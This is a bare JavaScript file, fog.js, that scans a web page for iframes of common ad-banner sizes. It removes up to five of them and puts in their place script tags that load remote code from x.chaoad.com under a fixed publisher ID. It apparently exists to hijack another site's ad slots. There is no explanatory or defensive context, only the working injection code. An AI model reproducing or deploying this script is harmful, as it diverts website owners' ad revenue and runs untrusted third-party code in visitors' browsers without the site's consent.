fog.js

(function() {
    if (!document.body) {
        return setTimeout(arguments.callee, 50);
    }

    var maxReplace = 5;
    var doneCount = 0;

    var slot_250_250_o = '_guanggao_pub = "d9c93a99008600ba3009"; _guanggao_slot = "8a86dc48598208373f2e";';
    var slot_250_250_s = 'http://x.chaoad.com/js/d9c93a99008600ba3009';
    var slot_300_250_o = '_guanggao_pub = "d9c93a99008600ba3009"; _guanggao_slot = "cf1a8eb17c3c0e9bbe7c";';
    var slot_300_250_s = 'http://x.chaoad.com/js/d9c93a99008600ba3009';
    var slot_336_280_o = '_guanggao_pub = "d9c93a99008600ba3009"; _guanggao_slot = "63a43f266831b1643d66";';
    var slot_336_280_s = 'http://x.chaoad.com/js/d9c93a99008600ba3009';
    var slot_728_90_o = '_guanggao_pub = "d9c93a99008600ba3009"; _guanggao_slot = "58f93570d8f765c51ae4";';
    var slot_728_90_s = 'http://x.chaoad.com/js/d9c93a99008600ba3009';
    var slot_760_90_o = '_guanggao_pub = "d9c93a99008600ba3009"; _guanggao_slot = "c529cff5ac3370469567";';
    var slot_760_90_s = 'http://x.chaoad.com/js/d9c93a99008600ba3009';

    var sizeList = {
        '640_60': false,
        '960_90': false,
        '300_250': { o: slot_300_250_o, s: slot_300_250_s },
        '250_250': { o: slot_250_250_o, s: slot_250_250_s },
        '200_200': false,
        '336_280': { o: slot_336_280_o, s: slot_336_280_s },
        '125_125': false,
        '360_300': false,
        '728_90': { o: slot_728_90_o, s: slot_728_90_s },
        '760_90': { o: slot_760_90_o, s: slot_760_90_s }
    };

    var iframeEls = document.getElementsByTagName('iframe');

    var replaceEl = function(adEl, slot) {
        var parentEl = adEl.parentNode;
        var optionEl = document.createElement('script');
        var sourceEl = document.createElement('script');

        optionEl.type = sourceEl.type = 'text/javascript';
        optionEl.text = slot.o;
        sourceEl.src = slot.s;

        parentEl.insertBefore(sourceEl, adEl);
        parentEl.insertBefore(optionEl, adEl);
        parentEl.removeChild(adEl);
    };

    for (var i in iframeEls) {
        if (doneCount === maxReplace) {
            break;
        }

        if (iframeEls[i].name === 'FOGFOUND') {
            continue;
        }

        iframeEls[i].name = 'FOGFOUND';

        var width = iframeEls[i].width || iframeEls[i].offsetWidth;
        var height = iframeEls[i].height || iframeEls[i].offsetHeight;
        var size = width + '_' + height;

        // FILTER BAIDU 300x250
        if (iframeEls[i].src && size == '300_250' && iframeEls[i].src.indexOf('pos.baidu.com') > 0) {
            continue;
        }

        if (sizeList[size]) {
            replaceEl(iframeEls[i], sizeList[size]);
            doneCount++;
        }
    }
})();